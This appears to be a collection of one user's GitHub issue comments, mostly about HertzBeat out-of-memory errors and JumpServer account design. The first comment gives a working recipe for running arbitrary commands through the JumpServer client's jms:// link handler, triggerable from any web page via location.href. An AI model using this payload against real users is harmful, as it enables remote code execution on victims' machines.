Meng Lei

可以这样做： 1、组装一个json： ``` {"protocol": "mysql", "username": "admin", "command": "cmd"} ``` protocol固定是mysql，username随便，command里面就是你要执行的命令，任意命令都可以。 2、将上面的json转为base64： ``` eyJwcm90b2NvbCI6ICJteXNxbCIsICJ1c2VybmFtZSI6ICJhZG1pbiIsICJjb21tYW5kIjogImNtZCJ9 ``` 3、将base64的值前面加上协议： ``` jms://eyJwcm90b2NvbCI6ICJteXNxbCIsICJ1c2VybmFtZSI6ICJhZG1pbiIsICJjb21tYW5kIjogImNtZCJ9 ``` 4、浏览器跳转上面得到的地址即可： ``` location.href = "jms://eyJwcm90b2NvbCI6ICJteXNxbCIsICJ1c2VybmFtZSI6ICJhZG1pbiIsICJjb21tYW5kIjogImNtZCJ9" ``` 按照上面的方法，可以执行任意命令，也可以在自己的网页里面，利用jumpclient，执行任何自己想要执行的命令。

这真的是大家诟病的一个事情，资产的账号应该是与资产强关联的，结果在jumpserver里面资产却一直与资产的登录账号无关联，都是通过授权给用户，再由用户自行选择，这样的话，假如用户名下授权了100个资产，每个资产的登录账号都不同，将会是一件噩梦。

1. no, we do not have nginx monitoring. 2. the heap dump file is 5.2GB and tar file is 1.2GB, is there some method i can use to provide this...

below snapshot shows monitors we have added to hertzbeat 

1. yes, the versions are mismatch, we have collectors v1.5.0 and hertzbeat v1.4.4 , yesterday i have upgraded hertzbeat to v1.5.0 2. i have uploaded dump file here, https://cowtransfer.com/s/1d8595cd6b0b44 点击链接查看...

after upgrade hertzbeat to v1.5.0, the error occurs again. [hertzbeat_oom_20240408.txt](https://github.com/dromara/hertzbeat/files/14900295/hertzbeat_oom_20240408.txt)  https://cowtransfer.com/s/5de6df61a93648 点击链接查看 [ java_pid10_0408.hprof.tar.gz ] ，或访问奶牛快传 cowtransfer.com 输入传输口令 p88c52 查看；

we have one hertzbeat master node and nearly 20 edge collectors. there is one edge collector named "az-10", i use this collector to take over all tasks used to be...

单独启动了一个edge节点，将原来运行于master节点上的探测任务全部迁移至edge节点，msater节点只承担报警任务，稳定运行大约12天，又出现了 GC overhead limit exceeded 异常，现已将master节点配置了kafka队列，系统已运行2天，暂时正常，我们会持续关注master节点的运行状态。

将master节点配置kafka队列后，已稳定运行半个月，目前系统平稳，未出现其他异常。

same situation, everything is default. tancloud/hertzbeat:v1.5.0 bitnami/zookeeper:3.6.2